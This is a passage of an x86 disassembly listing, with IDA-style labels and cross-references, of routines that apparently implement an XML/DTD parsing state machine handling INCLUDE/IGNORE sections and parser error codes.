loc_69B33A84:				; CODE XREF: sub_69B33973+100j
		or	dword ptr [esi+48h], 0FFFFFFFFh
		mov	dword ptr [esi+44h], 0Dh
		jmp	short loc_69B33A98
; ---------------------------------------------------------------------------


loc_69B33A91:				; CODE XREF: sub_69B33973+F0j
		mov	byte ptr [esi+0B9h], 1


loc_69B33A98:				; CODE XREF: sub_69B33973+10Fj
					; sub_69B33973+11Cj
		push	1
		mov	ecx, esi
		mov	[esi+0B2h], bl
		call	sub_69B3220F
		cmp	eax, ebx
		jl	short loc_69B33AE9
		jmp	short loc_69B33AE0
; ---------------------------------------------------------------------------


loc_69B33AAD:				; CODE XREF: sub_69B33973+C5j
		cmp	dx, 3Ch
		jnz	short loc_69B33AE4
		cmp	[esi+8Bh], bl
		jz	short loc_69B33AE4
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33ACF
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33AD6
; ---------------------------------------------------------------------------


loc_69B33ACF:				; CODE XREF: sub_69B33973+14Ej
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33AD6:				; CODE XREF: sub_69B33973+15Aj
		cmp	eax, ebx
		jnz	short loc_69B33AE9
		mov	word ptr [esi+4], 2


loc_69B33AE0:				; CODE XREF: sub_69B33973+138j
		xor	eax, eax
		jmp	short loc_69B33AE9
; ---------------------------------------------------------------------------


loc_69B33AE4:				; CODE XREF: sub_69B33973+13Ej
					; sub_69B33973+146j
		mov	eax, 0C00CE506h


loc_69B33AE9:				; CODE XREF: sub_69B33973+1Bj
					; sub_69B33973+72j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B33973	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B33AED	proc near		; CODE XREF: sub_69B33E72+693p
					; DATA XREF: sub_69B33E72+67Do
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		jz	loc_69B33B99
		dec	eax
		jz	loc_69B33BB4
		dec	eax
		jz	loc_69B33BE5
		dec	eax
		jz	loc_69B33C4E
		dec	eax
		jz	short loc_69B33B5E
		dec	eax
		jz	short loc_69B33B27
		dec	eax
		jz	short loc_69B33B52
		mov	eax, 0C00CE512h
		jmp	loc_69B33C6F
; ---------------------------------------------------------------------------


loc_69B33B27:				; CODE XREF: sub_69B33AED+2Bj
		push	6
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B33C6F
		mov	ecx, esi
		call	sub_69B32791
		cmp	eax, ebx
		jl	loc_69B33C6F
		mov	word ptr [esi+4], 6


loc_69B33B52:				; CODE XREF: sub_69B33AED+2Ej
		mov	dword ptr [esi+44h], 31h
		jmp	loc_69B33C61
; ---------------------------------------------------------------------------


loc_69B33B5E:				; CODE XREF: sub_69B33AED+28j
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		mov	ecx, esi
		jnz	short loc_69B33B88
		push	5
		push	offset sub_69B3254F
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B33C6F
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_69B3254F
; ---------------------------------------------------------------------------


loc_69B33B88:				; CODE XREF: sub_69B33AED+7Cj
		push	1
		push	offset loc_69B333D2
		call	sub_69B320E7
		jmp	loc_69B33C6F
; ---------------------------------------------------------------------------


loc_69B33B99:				; CODE XREF: sub_69B33AED+Cj
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	short loc_69B33BAE
		mov	eax, 0C00CE509h
		jmp	loc_69B33C6F
; ---------------------------------------------------------------------------


loc_69B33BAE:				; CODE XREF: sub_69B33AED+B5j
		mov	word ptr [esi+4], 1


loc_69B33BB4:				; CODE XREF: sub_69B33AED+13j
		push	2
		push	offset sub_69B3254F
		mov	ecx, esi
		mov	[esi+8Dh], bl
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B33C6F
		mov	ecx, esi
		call	sub_69B3254F
		cmp	eax, ebx
		jl	loc_69B33C6F
		mov	word ptr [esi+4], 2


loc_69B33BE5:				; CODE XREF: sub_69B33AED+1Aj
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		mov	byte ptr [esi+8Dh], 1
		jz	short loc_69B33BFB
		mov	eax, [esi+94h]
		jmp	short loc_69B33C6F
; ---------------------------------------------------------------------------


loc_69B33BFB:				; CODE XREF: sub_69B33AED+104j
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	25h
		jnz	short loc_69B33C2B
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33C18
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B33C1F
; ---------------------------------------------------------------------------


loc_69B33C18:				; CODE XREF: sub_69B33AED+11Dj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33C1F:				; CODE XREF: sub_69B33AED+129j
		cmp	eax, ebx
		jnz	short loc_69B33C6F
		mov	word ptr [esi+4], 4
		jmp	short loc_69B33C6D
; ---------------------------------------------------------------------------


loc_69B33C2B:				; CODE XREF: sub_69B33AED+115j
		push	3
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B33C6F
		mov	ecx, esi
		call	sub_69B32791
		cmp	eax, ebx
		jl	short loc_69B33C6F
		mov	word ptr [esi+4], 3


loc_69B33C4E:				; CODE XREF: sub_69B33AED+21j
		cmp	[esi+5Ch], bl
		jz	short loc_69B33C5A
		mov	eax, 0C00CE559h
		jmp	short loc_69B33C6F
; ---------------------------------------------------------------------------


loc_69B33C5A:				; CODE XREF: sub_69B33AED+164j
		mov	dword ptr [esi+44h], 7


loc_69B33C61:				; CODE XREF: sub_69B33AED+6Cj
		mov	ecx, esi
		push	ebx
		call	sub_69B3220F
		cmp	eax, ebx
		jl	short loc_69B33C6F


loc_69B33C6D:				; CODE XREF: sub_69B33AED+13Cj
		xor	eax, eax


loc_69B33C6F:				; CODE XREF: sub_69B33AED+35j
					; sub_69B33AED+4Aj ...
		pop	esi
		pop	ebx
		retn
sub_69B33AED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B33C72	proc near		; DATA XREF: sub_69B33E72+5E2o

lpStr2		= dword	ptr -8
nChar		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	loc_69B33DC2
		dec	eax
		jz	loc_69B33DF5
		dec	eax
		jz	loc_69B33E1D
		dec	eax
		jz	loc_69B33D97
		dec	eax
		jz	loc_69B33D4B
		dec	eax
		jz	short loc_69B33CF3
		mov	eax, 0C00CE512h
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33CB3:				; CODE XREF: sub_69B33C72+87j
		mov	ecx, [esi+74h]
		lea	eax, [esi+52h]
		mov	dx, [eax]
		cmp	dx, [ecx]
		jnz	short loc_69B33CFB
		lea	edi, [esi+5Ch]
		cmp	[edi], bl
		jnz	short loc_69B33CFB
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33CDC
		mov	ecx, [esi+34h]
		push	edi
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33CE3
; ---------------------------------------------------------------------------


loc_69B33CDC:				; CODE XREF: sub_69B33C72+5Cj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33CE3:				; CODE XREF: sub_69B33C72+68j
		cmp	eax, ebx
		jnz	loc_69B33E4E
		add	dword ptr [esi+74h], 2
		cmp	[edi], bl
		jnz	short loc_69B33D0D


loc_69B33CF3:				; CODE XREF: sub_69B33C72+35j
		mov	eax, [esi+74h]
		cmp	[eax], bx
		jnz	short loc_69B33CB3


loc_69B33CFB:				; CODE XREF: sub_69B33C72+4Dj
					; sub_69B33C72+54j
		mov	eax, [esi+74h]
		cmp	[eax], bx
		jz	short loc_69B33D17


loc_69B33D03:				; CODE XREF: sub_69B33C72+118j
		mov	eax, 0C00CE511h
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33D0D:				; CODE XREF: sub_69B33C72+7Fj
					; sub_69B33C72+128j ...
		mov	eax, 0C00CE563h
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33D17:				; CODE XREF: sub_69B33C72+8Fj
		cmp	word ptr [esi+52h], 5Bh
		jz	short loc_69B33D28


loc_69B33D1E:				; CODE XREF: sub_69B33C72+1BDj
		mov	eax, 0C00CE510h
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33D28:				; CODE XREF: sub_69B33C72+AAj
		cmp	[esi+0A8h], bl
		jz	short loc_69B33D3A
		mov	eax, 0C00CE578h
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33D3A:				; CODE XREF: sub_69B33C72+BCj
		push	offset sub_69B32324


loc_69B33D3F:				; CODE XREF: sub_69B33C72+103j
					; sub_69B33C72+123j
		mov	ecx, esi
		call	sub_69B32274
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33D4B:				; CODE XREF: sub_69B33C72+2Ej
		mov	ecx, [esi+34h]
		lea	eax, [ebp+nChar]
		push	eax
		lea	eax, [ebp+lpStr2]
		push	eax
		call	sub_69B35C65
		push	ebx		; char
		push	[ebp+nChar]	; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	offset aIgnore	; "IGNORE"
		call	sub_69B31FAA
		test	al, al
		jz	short loc_69B33D77
		push	offset sub_69B33600
		jmp	short loc_69B33D3F
; ---------------------------------------------------------------------------


loc_69B33D77:				; CODE XREF: sub_69B33C72+FCj
		push	ebx		; char
		push	[ebp+nChar]	; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	offset aInclude	; "INCLUDE"
		call	sub_69B31FAA
		test	al, al
		jz	loc_69B33D03
		push	offset sub_69B3347E
		jmp	short loc_69B33D3F
; ---------------------------------------------------------------------------


loc_69B33D97:				; CODE XREF: sub_69B33C72+27j
		cmp	[esi+5Ch], bl
		jnz	loc_69B33D0D
		push	4
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B33E4E
		mov	ecx, esi
		call	sub_69B32791
		jmp	loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33DC2:				; CODE XREF: sub_69B33C72+12j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B33DDC
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33DE3
; ---------------------------------------------------------------------------


loc_69B33DDC:				; CODE XREF: sub_69B33C72+156j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33DE3:				; CODE XREF: sub_69B33C72+168j
		cmp	eax, ebx
		jnz	short loc_69B33E4E
		cmp	[esi+0B0h], bl
		jnz	short loc_69B33E13
		mov	word ptr [esi+4], 1


loc_69B33DF5:				; CODE XREF: sub_69B33C72+19j
		cmp	[esi+5Ch], bl
		jnz	loc_69B33D0D
		cmp	word ptr [esi+52h], 43h
		jnz	short loc_69B33E17
		mov	eax, off_69B98430
		mov	[esi+74h], eax
		mov	word ptr [esi+4], 5


loc_69B33E13:				; CODE XREF: sub_69B33C72+17Bj
		xor	eax, eax
		jmp	short loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33E17:				; CODE XREF: sub_69B33C72+191j
		mov	word ptr [esi+4], 2


loc_69B33E1D:				; CODE XREF: sub_69B33C72+20j
		cmp	[esi+0A9h], bl
		jz	short loc_69B33E2C
		mov	eax, 0C00CE577h
		jmp	short loc_69B33E4E
; ---------------------------------------------------------------------------


loc_69B33E2C:				; CODE XREF: sub_69B33C72+1B1j
		cmp	[esi+5Ch], bl
		jnz	loc_69B33D1E
		push	3
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B33E4E
		mov	ecx, esi
		call	sub_69B3254F


loc_69B33E4E:				; CODE XREF: sub_69B33C72+3Cj
					; sub_69B33C72+73j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B33C72	endp

; ---------------------------------------------------------------------------
		align 4
; const	WCHAR aInclude
aInclude:				; DATA XREF: sub_69B33C72+10Co
		unicode	0, <INCLUDE>,0
; const	WCHAR aIgnore
aIgnore:				; DATA XREF: sub_69B33C72+F0o
		unicode	0, <IGNORE>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B33E72	proc near		; CODE XREF: sub_69B322C1+59p
					; DATA XREF: sub_69B322C1+32o ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
lpStr2		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx


loc_69B33E81:				; CODE XREF: sub_69B33E72+4BCj
		cmp	dword ptr [esi+44h], 0
		jnz	loc_69B34334
		movsx	eax, word ptr [esi+4]
		mov	ecx, [esi+90h]
		lea	eax, [eax+eax*4]
		lea	edi, [ecx+eax*4]
		mov	eax, [edi]
		cmp	eax, 1Ch	; switch 29 cases
		mov	ebx, [edi+8]
		ja	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
		jmp	ds:off_69B34597[eax*4] ; switch	jump


loc_69B33EB0:				; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 1
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jnz	loc_69B34348


loc_69B33ED6:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 0
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B343C2
		cmp	byte ptr [esi+0B0h], 0
		jz	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
		mov	eax, 8000E5FFh
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B33F2B:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 11
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jmp	loc_69B34272
; ---------------------------------------------------------------------------


loc_69B33F50:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 22
		jnz	loc_69B343C0
		mov	ecx, [esi+34h]
		push	0
		call	sub_69B318D1
		lea	ecx, [esi+5Ch]
		cmp	byte ptr [ecx],	0
		jnz	loc_69B3434F
		mov	edx, [edi+4]
		lea	eax, [esi+52h]
		mov	bx, [eax]
		cmp	bx, [edx]
		jnz	short loc_69B33FB6
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B33F96
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B33F9D
; ---------------------------------------------------------------------------


loc_69B33F96:				; CODE XREF: sub_69B33E72+116j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B33F9D:				; CODE XREF: sub_69B33E72+122j
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	loc_69B343C2
		mov	eax, [edi+10h]
		mov	ebx, [edi+8]
		mov	[esi+44h], eax
		jmp	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B33FB6:				; CODE XREF: sub_69B33E72+10Dj
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	loc_69B34278
		mov	eax, 0C00CE520h
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B33FCF:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 2
		jnz	loc_69B343C0
		mov	ecx, [esi+34h]
		push	0
		call	sub_69B318D1


loc_69B33FE6:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 3
		jnz	loc_69B343C0
		lea	ecx, [esi+5Ch]
		cmp	byte ptr [ecx],	0
		jnz	loc_69B3434F
		mov	edx, [edi+4]
		lea	eax, [esi+52h]
		mov	bx, [eax]
		cmp	bx, [edx]
		jnz	short loc_69B34052
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B34022
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B34029
; ---------------------------------------------------------------------------


loc_69B34022:				; CODE XREF: sub_69B33E72+1A2j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34029:				; CODE XREF: sub_69B33E72+1AEj
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	loc_69B343C2
		mov	ebx, [edi+8]
		mov	edi, [edi+10h]
		cmp	edi, 0Bh
		mov	[esi+44h], edi
		jnz	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
		mov	dword ptr [esi+78h], 3
		jmp	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B34052:				; CODE XREF: sub_69B33E72+199j
		mov	ebx, [edi+0Ch]
		cmp	ebx, 0C00CE500h
		jb	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jnz	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
		mov	eax, 0C00CE513h
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B3407A:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 4
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		mov	eax, [edi+4]
		mov	cx, [esi+52h]
		cmp	cx, [eax]
		jz	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
		jmp	loc_69B34278
; ---------------------------------------------------------------------------


loc_69B340A6:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 5
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B32791
		jmp	loc_69B342B3
; ---------------------------------------------------------------------------


loc_69B340DE:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 14
		jnz	loc_69B343C0
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_69B340FB
		mov	ecx, [esi+34h]
		push	0
		call	sub_69B318D1


loc_69B340FB:				; CODE XREF: sub_69B33E72+27Dj
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B32909
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B32909
		jmp	loc_69B342B3
; ---------------------------------------------------------------------------


loc_69B34126:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		mov	eax, [edi+0Ch]	; jumptable 69B33EA9 case 6
		mov	[esi+44h], eax
		mov	eax, [edi+10h]
		mov	[esi+48h], eax
		jmp	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B34137:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 7
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		and	word ptr [esi+58h], 0
		push	ebx
		push	offset sub_69B32BA0
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B32BA0
		jmp	loc_69B342B3
; ---------------------------------------------------------------------------


loc_69B34174:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		mov	ecx, [esi+34h]	; jumptable 69B33EA9 case 9
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+lpStr2]
		push	eax
		call	sub_69B35C65
		mov	eax, [edi+10h]
		test	eax, eax
		jl	short loc_69B3418D
		xor	eax, eax


loc_69B3418D:				; CODE XREF: sub_69B33E72+317j
		xor	ecx, ecx
		mov	cl, [esi+88h]
		push	ecx		; char
		mov	ecx, [ebp+var_8]
		add	eax, ecx
		push	eax		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	dword ptr [edi+4] ; lpString
		call	sub_69B31FAA
		test	al, al
		jz	loc_69B34278
		mov	eax, [edi+10h]
		test	eax, eax
		jle	short loc_69B341BD
		and	dword ptr [esi+48h], 0
		mov	[esi+44h], eax


loc_69B341BD:				; CODE XREF: sub_69B33E72+342j
		cmp	dword ptr [esi+90h], offset dword_69B26AC0
		jnz	short loc_69B34203 ; default
		mov	eax, [esi+44h]
		add	eax, 0FFFFFFDBh	; switch 9 cases
		cmp	eax, 8
		ja	short loc_69B34203 ; default
		jmp	ds:off_69B3460B[eax*4] ; switch	jump


loc_69B341DB:				; DATA XREF: .text:off_69B3460Bo
		and	dword ptr [esi+78h], 0 ; jumptable 69B341D4 case 37
		jmp	short loc_69B34203 ; default
; ---------------------------------------------------------------------------


loc_69B341E1:				; CODE XREF: sub_69B33E72+362j
					; DATA XREF: .text:off_69B3460Bo
		mov	dword ptr [esi+78h], 1 ; jumptable 69B341D4 cases 38,39,41
		jmp	short loc_69B34203 ; default
; ---------------------------------------------------------------------------


loc_69B341EA:				; CODE XREF: sub_69B33E72+362j
					; DATA XREF: .text:off_69B3460Bo
		mov	dword ptr [esi+78h], 2 ; jumptable 69B341D4 cases 40,42
		jmp	short loc_69B34203 ; default
; ---------------------------------------------------------------------------


loc_69B341F3:				; CODE XREF: sub_69B33E72+362j
					; DATA XREF: .text:off_69B3460Bo
		mov	dword ptr [esi+78h], 3 ; jumptable 69B341D4 cases 43,45
		jmp	short loc_69B34203 ; default
; ---------------------------------------------------------------------------


loc_69B341FC:				; CODE XREF: sub_69B33E72+362j
					; DATA XREF: .text:off_69B3460Bo
		mov	dword ptr [esi+78h], 4 ; jumptable 69B341D4 case 44


loc_69B34203:				; CODE XREF: sub_69B33E72+355j
					; sub_69B33E72+360j ...
		mov	ebx, [edi+8]	; default
		jmp	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B3420B:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+68h], 0 ;	jumptable 69B33EA9 case	13
		jmp	short loc_69B34272
; ---------------------------------------------------------------------------


loc_69B34211:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		push	53h		; jumptable 69B33EA9 case 27
		mov	ecx, esi
		mov	dword ptr [esi+44h], 22h
		mov	byte ptr [esi+0A5h], 1
		call	sub_69B31F28
		push	59h
		mov	ecx, esi
		call	sub_69B31F28
		push	53h
		mov	ecx, esi
		call	sub_69B31F28
		push	54h
		mov	ecx, esi
		call	sub_69B31F28
		push	45h
		mov	ecx, esi
		call	sub_69B31F28
		push	4Dh
		mov	ecx, esi
		call	sub_69B31F28
		jmp	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B3425A:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+5Ch], 0 ;	jumptable 69B33EA9 case	19
		jnz	loc_69B3434F
		xor	eax, eax
		mov	ax, [esi+52h]
		push	eax
		call	sub_69B31987
		test	eax, eax


loc_69B34272:				; CODE XREF: sub_69B33E72+D9j
					; sub_69B33E72+39Dj
		jnz	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25


loc_69B34278:				; CODE XREF: sub_69B33E72+14Dj
					; sub_69B33E72+22Fj ...
		mov	ebx, [edi+0Ch]
		jmp	loc_69B3430E	; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B34280:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 20
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B338B4
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B338B4


loc_69B342B3:				; CODE XREF: sub_69B33E72+267j
					; sub_69B33E72+2AFj ...
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B343C2
		jmp	short loc_69B3430E ; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B342C0:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		mov	ecx, [esi+34h]	; jumptable 69B33EA9 case 21
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_69B35C65
		mov	eax, [edi+10h]
		add	eax, [ebp+var_10]
		mov	ecx, [esi+34h]
		push	eax
		push	[ebp+var_14]
		call	sub_69B35F15
		mov	[ebp+var_4], eax
		jmp	short loc_69B3430E ; default
					; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------


loc_69B342E7:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		push	ebx		; jumptable 69B33EA9 case 26
		push	offset sub_69B32A54
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B32A54
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_69B3450F


loc_69B3430E:				; CODE XREF: sub_69B33E72+31j
					; sub_69B33E72+37j ...
		cmp	dword ptr [esi], offset	sub_69B33E72 ; default
					; jumptable 69B33EA9 case 25
		jnz	loc_69B343C0
		cmp	ebx, 0C00CE500h
		jnb	loc_69B34590
		cmp	[ebp+var_4], 0
		mov	[esi+4], bx
		jz	loc_69B33E81


loc_69B34334:				; CODE XREF: sub_69B33E72+13j
		cmp	dword ptr [esi+44h], 42h
		jnz	loc_69B343C0
		mov	ecx, [esi+34h]
		call	sub_69B35D39
		jmp	short loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B34348:				; CODE XREF: sub_69B33E72+5Ej
		mov	eax, 0C00CE509h
		jmp	short loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B3434F:				; CODE XREF: sub_69B33E72+4Fj
					; sub_69B33E72+75j ...
		mov	eax, [esi+94h]
		jmp	short loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B34357:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 8
		jnz	short loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	short loc_69B3434F
		cmp	dword ptr [edi+0Ch], 0
		push	ebx
		setnz	al
		push	offset sub_69B33E72
		mov	ecx, esi
		mov	[esi+68h], al
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B343C2
		mov	dword ptr [esi+90h], offset byte_69B34630
		jmp	loc_69B34414
; ---------------------------------------------------------------------------


loc_69B34390:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		mov	eax, [edi+10h]	; jumptable 69B33EA9 case 10
		test	eax, eax
		mov	[esi+48h], eax
		jnz	short loc_69B343A3
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B318D1


loc_69B343A3:				; CODE XREF: sub_69B33E72+526j
		cmp	dword ptr [edi+10h], 0
		mov	ecx, esi
		setz	al
		push	eax
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B343C2
		mov	eax, [edi+0Ch]
		and	dword ptr [esi+78h], 0
		mov	[esi+44h], eax


loc_69B343C0:				; CODE XREF: sub_69B33E72+45j
					; sub_69B33E72+6Bj ...
		xor	eax, eax


loc_69B343C2:				; CODE XREF: sub_69B33E72+8Aj
					; sub_69B33E72+9Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B343C7:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 12
		jnz	short loc_69B343C0
		push	ebx
		push	offset sub_69B324CC
		mov	ecx, esi
